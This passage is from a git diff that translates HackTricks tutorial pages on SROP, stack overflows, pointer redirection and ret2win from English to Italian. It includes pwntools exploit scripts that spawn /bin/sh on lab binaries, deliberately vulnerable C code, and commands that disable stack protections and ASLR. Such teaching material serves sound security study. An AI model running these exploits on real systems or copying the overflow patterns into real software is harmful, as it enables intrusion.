funzione e le variabili locali) utilizzato dal gestore di segnali. -The interesting part is how **`sigreturn`** restores the program's state: it does so by storing **all the CPU's register values on the stack.** When the signal is no longer blocked, **`sigreturn` pops these values off the stack**, effectively resetting the CPU's registers to their state before the signal was handled. This includes the stack pointer register (RSP), which points to the current top of the stack. +La parte interessante è come **`sigreturn`** ripristina lo stato del programma: lo fa memorizzando **tutti i valori dei registri della CPU nello stack.** Quando il segnale non è più bloccato, **`sigreturn` estrae questi valori dallo stack**, ripristinando effettivamente i registri della CPU al loro stato precedente alla gestione del segnale. Questo include il registro del puntatore dello stack (RSP), che punta all'attuale cima dello stack. > [!CAUTION] -> Calling the syscall **`sigreturn`** from a ROP chain and **adding the registry values** we would like it to load in the **stack** it's possible to **control** all the register values and therefore **call** for example the syscall `execve` with `/bin/sh`. +> Chiamando la syscall **`sigreturn`** da una catena ROP e **aggiungendo i valori dei registri** che vorremmo caricare nello **stack**, è possibile **controllare** tutti i valori dei registri e quindi **chiamare** ad esempio la syscall `execve` con `/bin/sh`. -Note how this would be a **type of Ret2syscall** that makes much easier to control params to call other Ret2syscalls: +Nota come questo sarebbe un **tipo di Ret2syscall** che rende molto più facile controllare i parametri per chiamare altre Ret2syscalls: {{#ref}} ../rop-syscall-execv/ {{#endref}} -If you are curious this is the **sigcontext structure** stored in the stack to later recover the values (diagram from [**here**](https://guyinatuxedo.github.io/16-srop/backdoor_funsignals/index.html)): - +Se sei curioso, questa è la **struttura sigcontext** memorizzata nello stack per recuperare successivamente i valori (diagramma da [**qui**](https://guyinatuxedo.github.io/16-srop/backdoor_funsignals/index.html)): ``` +--------------------+--------------------+ | rt_sigeturn() | uc_flags | @@ -56,15 +55,13 @@ If you are curious this is the **sigcontext structure** stored in the stack to l | __reserved | sigmask | +--------------------+--------------------+ ``` - -For a better explanation check also: +Per una spiegazione migliore controlla anche: {% embed url="https://youtu.be/ADULSwnQs-s?feature=shared" %} -## Example - -You can [**find an example here**](https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop/using-srop) where the call to signeturn is constructed via ROP (putting in rxa the value `0xf`), although this is the final exploit from there: +## Esempio +Puoi [**trovare un esempio qui**](https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop/using-srop) dove la chiamata a signeturn è costruita tramite ROP (mettendo in rxa il valore `0xf`), anche se questo è l'exploit finale da lì: ```python from pwn import * @@ -91,9 +88,7 @@ payload += bytes(frame) p.sendline(payload) p.interactive() ``` - -Check also the [**exploit from here**](https://guyinatuxedo.github.io/16-srop/csaw19_smallboi/index.html) where the binary was already calling `sigreturn` and therefore it's not needed to build that with a **ROP**: - +Controlla anche il [**exploit da qui**](https://guyinatuxedo.github.io/16-srop/csaw19_smallboi/index.html) dove il binario stava già chiamando `sigreturn` e quindi non è necessario costruirlo con un **ROP**: ```python from pwn import * @@ -126,20 +121,19 @@ target.sendline(payload) # Send the target payload # Drop to an interactive shell target.interactive() ``` - -## Other Examples & References +## Altri Esempi & Riferimenti - [https://youtu.be/ADULSwnQs-s?feature=shared](https://youtu.be/ADULSwnQs-s?feature=shared) - [https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop](https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop) - [https://guyinatuxedo.github.io/16-srop/backdoor_funsignals/index.html](https://guyinatuxedo.github.io/16-srop/backdoor_funsignals/index.html) - - Assembly binary that allows to **write to the stack** and then calls the **`sigreturn`** syscall. It's possible to write on the stack a [**ret2syscall**](../rop-syscall-execv/) via a **sigreturn** structure and read the flag which is inside the memory of the binary. +- Assembly binary che consente di **scrivere nello stack** e poi chiama la syscall **`sigreturn`**. È possibile scrivere nello stack un [**ret2syscall**](../rop-syscall-execv/) tramite una struttura **sigreturn** e leggere il flag che si trova nella memoria del binary. - [https://guyinatuxedo.github.io/16-srop/csaw19_smallboi/index.html](https://guyinatuxedo.github.io/16-srop/csaw19_smallboi/index.html) - - Assembly binary that allows to **write to the stack** and then calls the **`sigreturn`** syscall. It's possible to write on the stack a [**ret2syscall**](../rop-syscall-execv/) via a **sigreturn** structure (the binary has the string `/bin/sh`). +- Assembly binary che consente di **scrivere nello stack** e poi chiama la syscall **`sigreturn`**. È possibile scrivere nello stack un [**ret2syscall**](../rop-syscall-execv/) tramite una struttura **sigreturn** (il binary ha la stringa `/bin/sh`). - [https://guyinatuxedo.github.io/16-srop/inctf17_stupidrop/index.html](https://guyinatuxedo.github.io/16-srop/inctf17_stupidrop/index.html) - - 64 bits, no relro, no canary, nx, no pie. Simple buffer overflow abusing `gets` function with lack of gadgets that performs a [**ret2syscall**](../rop-syscall-execv/). The ROP chain writes `/bin/sh` in the `.bss` by calling gets again, it abuses the **`alarm`** function to set eax to `0xf` to call a **SROP** and execute a shell. +- 64 bit, no relro, no canary, nx, no pie. Semplice buffer overflow che sfrutta la funzione `gets` con mancanza di gadget che esegue un [**ret2syscall**](../rop-syscall-execv/). La catena ROP scrive `/bin/sh` nella `.bss` richiamando di nuovo gets, sfrutta la funzione **`alarm`** per impostare eax a `0xf` per chiamare un **SROP** ed eseguire una shell. - [https://guyinatuxedo.github.io/16-srop/swamp19_syscaller/index.html](https://guyinatuxedo.github.io/16-srop/swamp19_syscaller/index.html) - - 64 bits assembly program, no relro, no canary, nx, no pie. The flow allows to write in the stack, control several registers, and call a syscall and then it calls `exit`. The selected syscall is a `sigreturn` that will set registries and move `eip` to call a previous syscall instruction and run `memprotect` to set the binary space to `rwx` and set the ESP in the binary space. Following the flow, the program will call read intro ESP again, but in this case ESP will be pointing to the next intruction so passing a shellcode will write it as the next instruction and execute it. +- Programma assembly a 64 bit, no relro, no canary, nx, no pie. Il flusso consente di scrivere nello stack, controllare diversi registri e chiamare una syscall e poi chiama `exit`. La syscall selezionata è un `sigreturn` che imposterà i registri e sposterà `eip` per chiamare un'istruzione syscall precedente ed eseguire `memprotect` per impostare lo spazio binario a `rwx` e impostare l'ESP nello spazio binario. Seguendo il flusso, il programma chiamerà di nuovo read in ESP, ma in questo caso ESP punterà alla prossima istruzione quindi passando un shellcode lo scriverà come la prossima istruzione ed eseguirà. - [https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/sigreturn-oriented-programming-srop#disable-stack-protection](https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/sigreturn-oriented-programming-srop#disable-stack-protection) - - SROP is used to give execution privileges (memprotect) to the place where a shellcode was placed. +- SROP è utilizzato per dare privilegi di esecuzione (memprotect) al luogo dove è stato posizionato un shellcode. {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/srop-arm64.md b/src/binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/srop-arm64.md index ad3191732..f243caee4 100644 --- a/src/binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/srop-arm64.md +++ b/src/binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/srop-arm64.md @@ -2,10 +2,9 @@ {{#include ../../../banners/hacktricks-training.md}} -## Pwntools example - -This example is creating the vulnerable binary and exploiting it. The binary **reads into the stack** and then calls **`sigreturn`**: +## Esempio di Pwntools +Questo esempio crea il binario vulnerabile e lo sfrutta. Il binario **legge nello stack** e poi chiama **`sigreturn`**: ```python from pwn import * @@ -33,55 +32,49 @@ p = process(binary.path) p.send(bytes(frame)) p.interactive() ``` +## esempio di bof -## bof example - -### Code - +### Codice ```c #include #include #include void do_stuff(int do_arg){ - if (do_arg == 1) - __asm__("mov x8, 0x8b; svc 0;"); - return; +if (do_arg == 1) +__asm__("mov x8, 0x8b; svc 0;"); +return; } char* vulnerable_function() { - char buffer[64]; - read(STDIN_FILENO, buffer, 0x1000); // <-- bof vulnerability +char buffer[64]; +read(STDIN_FILENO, buffer, 0x1000); // <-- bof vulnerability - return buffer; +return buffer; } char* gen_stack() { - char use_stack[0x2000]; - strcpy(use_stack, "Hello, world!"); - char* b = vulnerable_function(); - return use_stack; +char use_stack[0x2000]; +strcpy(use_stack, "Hello, world!"); +char* b = vulnerable_function(); +return use_stack; } int main(int argc, char **argv) { - char* b = gen_stack(); - do_stuff(2); - return 0; +char* b = gen_stack(); +do_stuff(2); +return 0; } ``` - -Compile it with: - +Compilalo con: ```bash clang -o srop srop.c -fno-stack-protector echo 0 | sudo tee /proc/sys/kernel/randomize_va_space # Disable ASLR ``` - ## Exploit -The exploit abuses the bof to return to the call to **`sigreturn`** and prepare the stack to call **`execve`** with a pointer to `/bin/sh`. - +L'exploit sfrutta il bof per tornare alla chiamata a **`sigreturn`** e preparare lo stack per chiamare **`execve`** con un puntatore a `/bin/sh`. ```python from pwn import * @@ -110,44 +103,40 @@ payload += bytes(frame) p.sendline(payload) p.interactive() ``` +## esempio di bof senza sigreturn -## bof example without sigreturn - -### Code - +### Codice ```c #include #include #include char* vulnerable_function() { - char buffer[64]; - read(STDIN_FILENO, buffer, 0x1000); // <-- bof vulnerability +char buffer[64]; +read(STDIN_FILENO, buffer, 0x1000); // <-- bof vulnerability - return buffer; +return buffer; } char* gen_stack() { - char use_stack[0x2000]; - strcpy(use_stack, "Hello, world!"); - char* b = vulnerable_function(); - return use_stack; +char use_stack[0x2000]; +strcpy(use_stack, "Hello, world!"); +char* b = vulnerable_function(); +return use_stack; } int main(int argc, char **argv) { - char* b = gen_stack(); - return 0; +char* b = gen_stack(); +return 0; } ``` - ## Exploit -In the section **`vdso`** it's possible to find a call to **`sigreturn`** in the offset **`0x7b0`**: +Nella sezione **`vdso`** è possibile trovare una chiamata a **`sigreturn`** nell'offset **`0x7b0`**:
-Therefore, if leaked, it's possible to **use this address to access a `sigreturn`** if the binary isn't loading it: - +Pertanto, se trapelato, è possibile **utilizzare questo indirizzo per accedere a un `sigreturn`** se il binario non lo sta caricando: ```python from pwn import * @@ -176,14 +165,13 @@ payload += bytes(frame) p.sendline(payload) p.interactive() ``` - -For more info about vdso check: +Per ulteriori informazioni su vdso controlla: {{#ref}} ../ret2vdso.md {{#endref}} -And to bypass the address of `/bin/sh` you could create several env variables pointing to it, for more info: +E per bypassare l'indirizzo di `/bin/sh` potresti creare diverse variabili d'ambiente che puntano ad esso, per ulteriori informazioni: {{#ref}} ../../common-binary-protections-and-bypasses/aslr/ diff --git a/src/binary-exploitation/stack-overflow/README.md b/src/binary-exploitation/stack-overflow/README.md index 6de6060f2..7ff3036be 100644 --- a/src/binary-exploitation/stack-overflow/README.md +++ b/src/binary-exploitation/stack-overflow/README.md @@ -2,37 +2,34 @@ {{#include ../../banners/hacktricks-training.md}} -## What is a Stack Overflow +## Cos'è uno Stack Overflow -A **stack overflow** is a vulnerability that occurs when a program writes more data to the stack than it is allocated to hold. This excess data will **overwrite adjacent memory space**, leading to the corruption of valid data, control flow disruption, and potentially the execution of malicious code. This issue often arises due to the use of unsafe functions that do not perform bounds checking on input. +Un **stack overflow** è una vulnerabilità che si verifica quando un programma scrive più dati nello stack di quanti ne siano allocati per contenerli. Questi dati in eccesso **sovrascriveranno lo spazio di memoria adiacente**, portando alla corruzione di dati validi, alla disruption del flusso di controllo e potenzialmente all'esecuzione di codice malevolo. Questo problema si verifica spesso a causa dell'uso di funzioni non sicure che non eseguono il controllo dei limiti sugli input. -The main problem of this overwrite is that the **saved instruction pointer (EIP/RIP)** and the **saved base pointer (EBP/RBP)** to return to the previous function are **stored on the stack**. Therefore, an attacker will be able to overwrite those and **control the execution flow of the program**. +Il problema principale di questa sovrascrittura è che il **puntatore di istruzione salvato (EIP/RIP)** e il **puntatore di base salvato (EBP/RBP)** per tornare alla funzione precedente sono **memorizzati nello stack**. Pertanto, un attaccante sarà in grado di sovrascrivere questi e **controllare il flusso di esecuzione del programma**. -The vulnerability usually arises because a function **copies inside the stack more bytes than the amount allocated for it**, therefore being able to overwrite other parts of the stack. +La vulnerabilità di solito si verifica perché una funzione **copia nello stack più byte della quantità allocata per essa**, riuscendo quindi a sovrascrivere altre parti dello stack. -Some common functions vulnerable to this are: **`strcpy`, `strcat`, `sprintf`, `gets`**... Also, functions like **`fgets`** , **`read` & `memcpy`** that take a **length argument**, might be used in a vulnerable way if the specified length is greater than the allocated one. - -For example, the following functions could be vulnerable: +Alcune funzioni comuni vulnerabili a questo sono: **`strcpy`, `strcat`, `sprintf`, `gets`**... Inoltre, funzioni come **`fgets`**, **`read` & `memcpy`** che prendono un **argomento di lunghezza**, potrebbero essere utilizzate in modo vulnerabile se la lunghezza specificata è maggiore di quella allocata. +Ad esempio, le seguenti funzioni potrebbero essere vulnerabili: ```c void vulnerable() { - char buffer[128]; - printf("Enter some text: "); - gets(buffer); // This is where the vulnerability lies - printf("You entered: %s\n", buffer); +char buffer[128]; +printf("Enter some text: "); +gets(buffer); // This is where the vulnerability lies +printf("You entered: %s\n", buffer); } ``` +### Trovare gli offset degli Stack Overflow -### Finding Stack Overflows offsets +Il modo più comune per trovare gli stack overflow è fornire un input molto grande di `A`s (ad esempio `python3 -c 'print("A"*1000)'`) e aspettarsi un `Segmentation Fault` che indica che l'**indirizzo `0x41414141` è stato tentato di essere accesso**. -The most common way to find stack overflows is to give a very big input of `A`s (e.g. `python3 -c 'print("A"*1000)'`) and expect a `Segmentation Fault` indicating that the **address `0x41414141` was tried to be accessed**. +Inoltre, una volta trovata la vulnerabilità di Stack Overflow, sarà necessario trovare l'offset fino a quando non sarà possibile **sovrascrivere l'indirizzo di ritorno**, per questo si usa solitamente una **sequenza di De Bruijn.** Che per un dato alfabeto di dimensione _k_ e sottosequenze di lunghezza _n_ è una **sequenza ciclica in cui ogni possibile sottosequenza di lunghezza \_n**\_\*\* appare esattamente una volta\*\* come sottosequenza contigua. -Moreover, once you found that there is Stack Overflow vulnerability you will need to find the offset until it's possible to **overwrite the return address**, for this it's usually used a **De Bruijn sequence.** Which for a given alphabet of size _k_ and subsequences of length _n_ is a **cyclic sequence in which every possible subsequence of length \_n**\_\*\* appears exactly once\*\* as a contiguous subsequence. - -This way, instead of needing to figure out which offset is needed to control the EIP by hand, it's possible to use as padding one of these sequences and then find the offset of the bytes that ended overwriting it. - -It's possible to use **pwntools** for this: +In questo modo, invece di dover capire manualmente quale offset è necessario per controllare l'EIP, è possibile utilizzare come padding una di queste sequenze e poi trovare l'offset dei byte che hanno finito per sovrascriverlo. +È possibile utilizzare **pwntools** per questo: ```python from pwn import * @@ -44,26 +41,23 @@ eip_value = p32(0x6161616c) offset = cyclic_find(eip_value) # Finds the offset of the sequence in the De Bruijn pattern print(f"The offset is: {offset}") ``` - -or **GEF**: - +o **GEF**: ```bash #Patterns pattern create 200 #Generate length 200 pattern pattern search "avaaawaa" #Search for the offset of that substring pattern search $rsp #Search the offset given the content of $rsp ``` +## Sfruttamento degli Stack Overflow -## Exploiting Stack Overflows +Durante un overflow (supponendo che la dimensione dell'overflow sia abbastanza grande) sarai in grado di **sovrascrivere** i valori delle variabili locali all'interno dello stack fino a raggiungere il **EBP/RBP e EIP/RIP salvati (o anche di più)**.\ +Il modo più comune per abusare di questo tipo di vulnerabilità è **modificare l'indirizzo di ritorno** in modo che, quando la funzione termina, il **flusso di controllo venga reindirizzato ovunque l'utente abbia specificato** in questo puntatore. -During an overflow (supposing the overflow size if big enough) you will be able to **overwrite** values of local variables inside the stack until reaching the saved **EBP/RBP and EIP/RIP (or even more)**.\ -The most common way to abuse this type of vulnerability is by **modifying the return address** so when the function ends the **control flow will be redirected wherever the user specified** in this pointer. - -However, in other scenarios maybe just **overwriting some variables values in the stack** might be enough for the exploitation (like in easy CTF challenges). +Tuttavia, in altri scenari, potrebbe essere sufficiente **sovrascrivere alcuni valori delle variabili nello stack** per l'exploitation (come in semplici sfide CTF). ### Ret2win -In this type of CTF challenges, there is a **function** **inside** the binary that is **never called** and that **you need to call in order to win**. For these challenges you just need to find the **offset to overwrite the return address** and **find the address of the function** to call (usually [**ASLR**](../common-binary-protections-and-bypasses/aslr/) would be disabled) so when the vulnerable function returns, the hidden function will be called: +In questo tipo di sfide CTF, c'è una **funzione** **all'interno** del binario che **non viene mai chiamata** e che **devi chiamare per vincere**. Per queste sfide devi solo trovare l'**offset per sovrascrivere l'indirizzo di ritorno** e **trovare l'indirizzo della funzione** da chiamare (di solito [**ASLR**](../common-binary-protections-and-bypasses/aslr/) sarebbe disabilitato) in modo che, quando la funzione vulnerabile restituisce, la funzione nascosta venga chiamata: {{#ref}} ret2win/ @@ -71,15 +65,15 @@ ret2win/ ### Stack Shellcode -In this scenario the attacker could place a shellcode in the stack and abuse the controlled EIP/RIP to jump to the shellcode and execute arbitrary code: +In questo scenario, l'attaccante potrebbe posizionare uno shellcode nello stack e abusare dell'EIP/RIP controllato per saltare allo shellcode ed eseguire codice arbitrario: {{#ref}} stack-shellcode/ {{#endref}} -### ROP & Ret2... techniques +### Tecniche ROP & Ret2... -This technique is the fundamental framework to bypass the main protection to the previous technique: **No executable stack (NX)**. And it allows to perform several other techniques (ret2lib, ret2syscall...) that will end executing arbitrary commands by abusing existing instructions in the binary: +Questa tecnica è il framework fondamentale per bypassare la principale protezione della tecnica precedente: **Stack non eseguibile (NX)**. E consente di eseguire diverse altre tecniche (ret2lib, ret2syscall...) che porteranno all'esecuzione di comandi arbitrari abusando delle istruzioni esistenti nel binario: {{#ref}} ../rop-return-oriented-programing/ @@ -87,15 +81,15 @@ This technique is the fundamental framework to bypass the main protection to the ## Heap Overflows -An overflow is not always going to be in the stack, it could also be in the **heap** for example: +Un overflow non sarà sempre nello stack, potrebbe anche essere nell'**heap**, per esempio: {{#ref}} ../libc-heap/heap-overflow.md {{#endref}} -## Types of protections +## Tipi di protezioni -There are several protections trying to prevent the exploitation of vulnerabilities, check them in: +Ci sono diverse protezioni che cercano di prevenire l'exploitation delle vulnerabilità, controllale in: {{#ref}} ../common-binary-protections-and-bypasses/ diff --git a/src/binary-exploitation/stack-overflow/pointer-redirecting.md b/src/binary-exploitation/stack-overflow/pointer-redirecting.md index f92bebd28..c699e97eb 100644 --- a/src/binary-exploitation/stack-overflow/pointer-redirecting.md +++ b/src/binary-exploitation/stack-overflow/pointer-redirecting.md @@ -4,21 +4,21 @@ ## String pointers -If a function call is going to use an address of a string that is located in the stack, it's possible to abuse the buffer overflow to **overwrite this address** and put an **address to a different string** inside the binary. +Se una chiamata di funzione utilizza un indirizzo di una stringa che si trova nello stack, è possibile abusare del buffer overflow per **sovrascrivere questo indirizzo** e inserire un **indirizzo di una stringa diversa** all'interno del binario. -If for example a **`system`** function call is going to **use the address of a string to execute a command**, an attacker could place the **address of a different string in the stack**, **`export PATH=.:$PATH`** and create in the current directory an **script with the name of the first letter of the new string** as this will be executed by the binary. +Se ad esempio una chiamata alla funzione **`system`** deve **utilizzare l'indirizzo di una stringa per eseguire un comando**, un attaccante potrebbe posizionare l'**indirizzo di una stringa diversa nello stack**, **`export PATH=.:$PATH`** e creare nella directory corrente uno **script con il nome della prima lettera della nuova stringa**, poiché questo sarà eseguito dal binario. -You can find an **example** of this in: +Puoi trovare un **esempio** di questo in: - [https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/strptr.c](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/strptr.c) - [https://guyinatuxedo.github.io/04-bof_variable/tw17_justdoit/index.html](https://guyinatuxedo.github.io/04-bof_variable/tw17_justdoit/index.html) - - 32bit, change address to flags string in the stack so it's printed by `puts` +- 32bit, cambia l'indirizzo della stringa dei flag nello stack in modo che venga stampato da `puts` ## Function pointers -Same as string pointer but applying to functions, if the **stack contains the address of a function** that will be called, it's possible to **change it** (e.g. to call **`system`**). +Stesso concetto dei puntatori a stringa ma applicato alle funzioni, se lo **stack contiene l'indirizzo di una funzione** che verrà chiamata, è possibile **cambiarlo** (ad es. per chiamare **`system`**). -You can find an example in: +Puoi trovare un esempio in: - [https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/funcptr.c](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/funcptr.c) diff --git a/src/binary-exploitation/stack-overflow/ret2win/README.md b/src/binary-exploitation/stack-overflow/ret2win/README.md index 0cad69c6d..52222f62f 100644 --- a/src/binary-exploitation/stack-overflow/ret2win/README.md +++ b/src/binary-exploitation/stack-overflow/ret2win/README.md @@ -2,49 +2,44 @@ {{#include ../../../banners/hacktricks-training.md}} -## Basic Information +## Informazioni di Base -**Ret2win** challenges are a popular category in **Capture The Flag (CTF)** competitions, particularly in tasks that involve **binary exploitation**. The goal is to exploit a vulnerability in a given binary to execute a specific, uninvoked function within the binary, often named something like `win`, `flag`, etc. This function, when executed, usually prints out a flag or a success message. The challenge typically involves overwriting the **return address** on the stack to divert execution flow to the desired function. Here's a more detailed explanation with examples: +Le sfide **Ret2win** sono una categoria popolare nelle competizioni **Capture The Flag (CTF)**, in particolare in compiti che coinvolgono **binary exploitation**. L'obiettivo è sfruttare una vulnerabilità in un dato binario per eseguire una funzione specifica, non invocata, all'interno del binario, spesso chiamata qualcosa come `win`, `flag`, ecc. Questa funzione, quando eseguita, di solito stampa un flag o un messaggio di successo. La sfida comporta tipicamente la sovrascrittura dell'**indirizzo di ritorno** nello stack per deviare il flusso di esecuzione verso la funzione desiderata. Ecco una spiegazione più dettagliata con esempi: -### C Example - -Consider a simple C program with a vulnerability and a `win` function that we intend to call: +### Esempio C +Considera un semplice programma C con una vulnerabilità e una funzione `win` che intendiamo chiamare: ```c #include #include void win() { - printf("Congratulations! You've called the win function.\n"); +printf("Congratulations! You've called the win function.\n"); } void vulnerable_function() { - char buf[64]; - gets(buf); // This function is dangerous because it does not check the size of the input, leading to buffer overflow. +char buf[64]; +gets(buf); // This function is dangerous because it does not check the size of the input, leading to buffer overflow. } int main() { - vulnerable_function(); - return 0; +vulnerable_function(); +return 0; } ``` - -To compile this program without stack protections and with **ASLR** disabled, you can use the following command: - +Per compilare questo programma senza protezioni dello stack e con **ASLR** disabilitato, puoi usare il seguente comando: ```sh gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c ``` +- `-m32`: Compila il programma come un binario a 32 bit (questo è facoltativo ma comune nelle sfide CTF). +- `-fno-stack-protector`: Disabilita le protezioni contro gli overflow dello stack. +- `-z execstack`: Consenti l'esecuzione di codice nello stack. +- `-no-pie`: Disabilita l'Eseguibile Indipendente dalla Posizione per garantire che l'indirizzo della funzione `win` non cambi. +- `-o vulnerable`: Nomina il file di output `vulnerable`. -- `-m32`: Compile the program as a 32-bit binary (this is optional but common in CTF challenges). -- `-fno-stack-protector`: Disable protections against stack overflows. -- `-z execstack`: Allow execution of code on the stack. -- `-no-pie`: Disable Position Independent Executable to ensure that the address of the `win` function does not change. -- `-o vulnerable`: Name the output file `vulnerable`. - -### Python Exploit using Pwntools - -For the exploit, we'll use **pwntools**, a powerful CTF framework for writing exploits. The exploit script will create a payload to overflow the buffer and overwrite the return address with the address of the `win` function. +### Python Exploit usando Pwntools +Per l'exploit, utilizzeremo **pwntools**, un potente framework CTF per scrivere exploit. Lo script di exploit creerà un payload per sovrascrivere il buffer e sovrascrivere l'indirizzo di ritorno con l'indirizzo della funzione `win`. ```python from pwn import * @@ -64,49 +59,46 @@ payload = b'A' * 68 + win_addr p.sendline(payload) p.interactive() ``` - -To find the address of the `win` function, you can use **gdb**, **objdump**, or any other tool that allows you to inspect binary files. For instance, with `objdump`, you could use: - +Per trovare l'indirizzo della funzione `win`, puoi utilizzare **gdb**, **objdump** o qualsiasi altro strumento che ti consenta di ispezionare i file binari. Ad esempio, con `objdump`, potresti usare: ```sh objdump -d vulnerable | grep win ``` +Questo comando mostrerà l'assembly della funzione `win`, incluso il suo indirizzo di partenza. -This command will show you the assembly of the `win` function, including its starting address. +Lo script Python invia un messaggio accuratamente progettato che, quando elaborato dalla `vulnerable_function`, provoca un overflow del buffer e sovrascrive l'indirizzo di ritorno nello stack con l'indirizzo di `win`. Quando `vulnerable_function` restituisce, invece di tornare a `main` o uscire, salta a `win`, e il messaggio viene stampato. -The Python script sends a carefully crafted message that, when processed by the `vulnerable_function`, overflows the buffer and overwrites the return address on the stack with the address of `win`. When `vulnerable_function` returns, instead of returning to `main` or exiting, it jumps to `win`, and the message is printed. +## Protezioni -## Protections +- [**PIE**](../../common-binary-protections-and-bypasses/pie/) **dovrebbe essere disabilitato** affinché l'indirizzo sia affidabile tra le esecuzioni, altrimenti l'indirizzo in cui la funzione sarà memorizzata non sarà sempre lo stesso e avresti bisogno di qualche leak per capire dove è caricata la funzione win. In alcuni casi, quando la funzione che causa l'overflow è `read` o simile, puoi fare un **Partial Overwrite** di 1 o 2 byte per cambiare l'indirizzo di ritorno in modo che sia la funzione win. A causa di come funziona l'ASLR, gli ultimi tre nibble esadecimali non sono randomizzati, quindi c'è una **1/16 possibilità** (1 nibble) di ottenere l'indirizzo di ritorno corretto. +- [**Stack Canaries**](../../common-binary-protections-and-bypasses/stack-canaries/) dovrebbero essere anch'essi disabilitati o l'indirizzo di ritorno EIP compromesso non sarà mai seguito. -- [**PIE**](../../common-binary-protections-and-bypasses/pie/) **should be disabled** for the address to be reliable across executions or the address where the function will be stored won't be always the same and you would need some leak in order to figure out where is the win function loaded. In some cases, when the function that causes the overflow is `read` or similar, you can do a **Partial Overwrite** of 1 or 2 bytes to change the return address to be the win function. Because of how ASLR works, the last three hex nibbles are not randomized, so there is a **1/16 chance** (1 nibble) to get the correct return address. -- [**Stack Canaries**](../../common-binary-protections-and-bypasses/stack-canaries/) should be also disabled or the compromised EIP return address won't never be followed. - -## Other examples & References +## Altri esempi & Riferimenti - [https://ir0nstone.gitbook.io/notes/types/stack/ret2win](https://ir0nstone.gitbook.io/notes/types/stack/ret2win) - [https://guyinatuxedo.github.io/04-bof_variable/tamu19_pwn1/index.html](https://guyinatuxedo.github.io/04-bof_variable/tamu19_pwn1/index.html) - - 32bit, no ASLR +- 32bit, no ASLR - [https://guyinatuxedo.github.io/05-bof_callfunction/csaw16_warmup/index.html](https://guyinatuxedo.github.io/05-bof_callfunction/csaw16_warmup/index.html) - - 64 bits with ASLR, with a leak of the bin address +- 64 bit con ASLR, con un leak dell'indirizzo bin - [https://guyinatuxedo.github.io/05-bof_callfunction/csaw18_getit/index.html](https://guyinatuxedo.github.io/05-bof_callfunction/csaw18_getit/index.html) - - 64 bits, no ASLR +- 64 bit, no ASLR - [https://guyinatuxedo.github.io/05-bof_callfunction/tu17_vulnchat/index.html](https://guyinatuxedo.github.io/05-bof_callfunction/tu17_vulnchat/index.html) - - 32 bits, no ASLR, double small overflow, first to overflow the stack and enlarge the size of the second overflow +- 32 bit, no ASLR, doppio piccolo overflow, primo per sovrascrivere lo stack e ingrandire la dimensione del secondo overflow - [https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html](https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html) - - 32 bit, relro, no canary, nx, no pie, format string to overwrite the address `fflush` with the win function (ret2win) +- 32 bit, relro, no canary, nx, no pie, stringa di formato per sovrascrivere l'indirizzo `fflush` con la funzione win (ret2win) - [https://guyinatuxedo.github.io/15-partial_overwrite/tamu19_pwn2/index.html](https://guyinatuxedo.github.io/15-partial_overwrite/tamu19_pwn2/index.html) - - 32 bit, nx, nothing else, partial overwrite of EIP (1Byte) to call the win function +- 32 bit, nx, nient'altro, sovrascrittura parziale di EIP (1Byte) per chiamare la funzione win - [https://guyinatuxedo.github.io/15-partial_overwrite/tuctf17_vulnchat2/index.html](https://guyinatuxedo.github.io/15-partial_overwrite/tuctf17_vulnchat2/index.html) - - 32 bit, nx, nothing else, partial overwrite of EIP (1Byte) to call the win function +- 32 bit, nx, nient'altro, sovrascrittura parziale di EIP (1Byte) per chiamare la funzione win - [https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html](https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html) - - The program is only validating the last byte of a number to check for the size of the input, therefore it's possible to add any zie as long as the last byte is inside the allowed range. Then, the input creates a buffer overflow exploited with a ret2win. +- Il programma sta solo convalidando l'ultimo byte di un numero per controllare la dimensione dell'input, quindi è possibile aggiungere qualsiasi dimensione purché l'ultimo byte sia all'interno dell'intervallo consentito. Poi, l'input crea un buffer overflow sfruttato con un ret2win. - [https://7rocky.github.io/en/ctf/other/blackhat-ctf/fno-stack-protector/](https://7rocky.github.io/en/ctf/other/blackhat-ctf/fno-stack-protector/) - - 64 bit, relro, no canary, nx, pie. Partial overwrite to call the win function (ret2win) +- 64 bit, relro, no canary, nx, pie. Sovrascrittura parziale per chiamare la funzione win (ret2win) - [https://8ksec.io/arm64-reversing-and-exploitation-part-3-a-simple-rop-chain/](https://8ksec.io/arm64-reversing-and-exploitation-part-3-a-simple-rop-chain/) - - arm64, PIE, it gives a PIE leak the win function is actually 2 functions so ROP gadget that calls 2 functions +- arm64, PIE, fornisce un leak PIE la funzione win è in realtà 2 funzioni quindi gadget ROP che chiama 2 funzioni - [https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/) - - ARM64, off-by-one to call a win function +- ARM64, off-by-one per chiamare una funzione win -## ARM64 Example +## Esempio ARM64 {{#ref}} ret2win-arm64.md diff --git 